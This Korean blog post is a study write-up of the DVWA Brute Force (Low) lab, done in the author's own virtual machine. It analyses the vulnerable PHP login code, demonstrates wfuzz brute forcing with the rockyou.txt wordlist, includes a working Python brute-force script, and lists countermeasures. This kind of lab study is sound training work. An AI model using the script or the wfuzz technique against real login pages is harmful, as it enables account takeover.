ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • DVWA - Brute Force ( Low )
    모의해킹/Groot - 스터디 2023. 5. 28. 21:15

    DVWA - Brute Force ( Low ) 입니다

     

     개요 

    이 포스팅에서는 DVWA(Damn Vulnerable Web Application)  -  Brute Force, Low 단계 실습을 진행하면서 공부했던 내용에 대한 내용을 정리해 보았고, 모두 본인이 소유한 가상머신에서 실습이 이루어졌습니다

    실습환경
    M1 MacBook Air
    16G RAM
    UTM - 가상머신
    Kali Linux 2023.1  - Apple Silicon (ARM64)

     

     목차 

    1. 취약점 설명 및 분석  -  소스코드 분석, Brute Force, SQL Injection, 관리자 페이지

    2. wfuzz 사용방법 및 실습

    3. 대응방안

    4. 툴 제작

     

     

     

     취약점 설명 및 분석 


     소스코드 분석 

        // 위치 : /var/www/html/dvwa/vulnerabilities/brute/source -> low.php
        <?php
    
        if( isset( $_GET[ 'Login' ] ) ) {
    /*5*/       // 유저 이름
                $user = $_GET[ 'username' ];
    
                // 비밀번호
                $pass = $_GET[ 'password' ];
    /*10*/      $pass = md5( $pass );
    
                // 데이터베이스 연결 및 확인
                $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('이곳의 내용은 생략');
    /*15*/
                if( $result && mysqli_num_rows( $result ) == 1 ) {
                        // 유저 정보 가져오기
                        $row    = mysqli_fetch_assoc( $result );
                        $avatar = $row["avatar"];
    /*20*/
                        // 로그인 성공
                        $html .= "<p>Welcome to the password protected area {$user}</p>";
                        $html .= "<img src=\"{$avatar}\" />";
                }
    /*25*/      else {
                        // 로그인 실패
                        $html .= "<pre><br />Username and/or password incorrect.</pre>";
                }
    
    /*30*/      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        }
    
        ?>

    5 ~ 10
    사용자가 입력한 아이디와 비밀번호의 값을 받아오고 비밀번호는 md5 암호를 이용한다

    13 ~ 19
    데이터베이스에 질의문을 전송하여 응답 결과를 받아오고 유저의 정보를 가져온다

    22 ~ 30
    유저의 정보가 있다면 로그인 성공이고, 이미지를 화면에 띄워준다
    유저의 정보가 없다면 로그인 실패이고, false 라는 결과를 반환한다

     

     

     Brute Force 

    DVWA - Brute Force ( Low )는 사용자의 입력횟수에 상관없이 모든 입력에 대하여 작업을 진행한다

    따라서 취약한 아이디와 비밀번호를 사용하게 된다면 Brute Force( 모든 경우 시도하기 ) 공격에 의해 계정이 탈취당할 수 있다
    로그인 페이지에서 아이디를 admin, 비밀번호를 password로 찍어서 로그인을 시도 해 보았다

    위와 같이 admin 계정에 로그인 성공하였음을 볼 수 있다

     

     

     SQL Injection 

    위 소스코드에서 13 ~ 14번 줄에서 SQL 질의문을 생성하고 데이터베이스에 전송하는 과정이 적혀져 있다

    이 부분에서 사용자의 입력값에 대한 검증이 없어서 SQL Injection이 발생할 수 있다

     

     

     관리자 페이지 

    로그인에 성공하였을때 나오는 이미지를 이용하여 아래와 같이 관리자만이 보아야 할 페이지가 이용자에게도 보이는 취약점이 발견되었다

     

     

     

     wfuzz 사용방법 및 실습 


     wfuzz 사용방법 

    wfuzz는 웹 애플리케이션의 취약점을 테스트하기 위해 사용되는 무료 및 오픈 소스 웹 애플리케이션 크래킹 도구이다

    wfuzz는 파라미터 기반의 웹 애플리케이션에 대한 자동화된 페이로드 생성과 테스트를 제공하여 SQL 인젝션, XSS(Cross-Site Scripting), 디렉토리 탐색 등의 다양한 취약점을 찾을 수 있다

    또한 페이로드를 수정하거나 추가할 수 있으며, HTTP 요청 헤더 및 메소드, 쿠키, 인증 정보 등도 설정할 수 있다

    Usage 에 사용하는 방법이 나와있고 그 아래 1번째는 FUZZ 로 사용, 2번째는 FUZ2Z, 3번째는 FUZ3Z .... n번째는 FUZnZ 로 사용하라고 가이드가 되어있다

     

     

     wfuzz 실습 

    Output에는 색상을 추가하기 위해 -c 옵션을 추가해 주었고 비밀번호에 사용될 파일을 이용하기 위해 -w 옵션을 적은 뒤 파일의 경로를 작성해 주었다 ( Brute Force 에 사용한 파일은 rockyou.txt 파일이다 )

    다음으로 공격 타겟의 주소를 적어주었으며 파라미터값으로 username, password, Login이 포함된다

     

    다음으로 PHPSESSID( 세션 ) 과 security 의 정보를 추가하였다

     

    - b 옵션을 추가하여 쿠키를 포함시켜주었다

     

    취약점 분석할 때 로그인에 성공했던 비밀번호인 password의 경우 Word와 Chars의 숫자가 다름을 알 수 있다

     

    이를 이용하여 --sw ( show words ) 옵션을 추가하여 Word가 252인 경우만 화면에 보여지도록 해 주었다
    ( 조건에 해당하지 않는경우 화면에 보이지 않았다 )

     

    다음으로 로그인에 실패했을때 나오는 문구인 incorrect가 있다면 숨기도록 --hs 옵션을 사용해보았다

     

    -z file,wordlist 의 형태로 수정해 주었고 아이디와 비밀번호 2가지에 대해 각각 다른 파일을 설정해 주었다

     

    이전에 실습했던 내용에 대해 모두 추가하였다

    하지만 rockyou.txt 의 단어가 너무 많아서 비밀번호에 대해서만 Brute Force를 진행하였고 아이디 같은 경우 관리자 페이지에 접근하여 얻은 정보로 입력하였다

     

     

     

     대응방안 

    Brute Force 공격을 막기 위해 로그인 횟수 제한, 로그인 5회 이상시 사진선택, 화면에 보이는 숫자 입력하기 등의 방법을 추가하여야 한다

    또한 SQL Injection을 방지하기위해 사용자 입력값에 대해 검증을 해야할 필요가 있고, 관리자 페이지 또한 볼 수 없도록 해 주어야 한다

     

     

     

     툴 제작 

    정보 수집하면서 아이디의 종류가 5개임을 알 수 있었고 Burp Suite 을 이용하여 GET 방식임을 알 수 있었다

    import requests
    
    target = "http://ip_address/DVWA/vulnerabilities/brute"
    
    user_list = ['1337', 'admin', 'gordonb', 'pablo', 'smithy']
    password_path = 'file_path'
    
    password_list = []
    cookies = {'security' : 'low', 'PHPSESSID' : 'session_id'}
    
    # 비밀번호 리스트로
    with open(password_path, 'r') as file:
        for line in file:
            content = line.strip()
            password_list.append(content)
    
    # Brute Force 진행
    for user in user_list:
        for password in password_list:
            params = {'username' : user, 'password' : password, 'Login':'Login'}
            response = requests.get(target, params=params, cookies=cookies)
    
            if 'Welcome to the password protected area' in response.text:
                print('아이디 : ', user)
                print('비밀번호 : ', password)
                print()
                break

     

     

     문제풀이 

    https://ruang0124.tistory.com/195

     

    728x90
Designed by Tistory.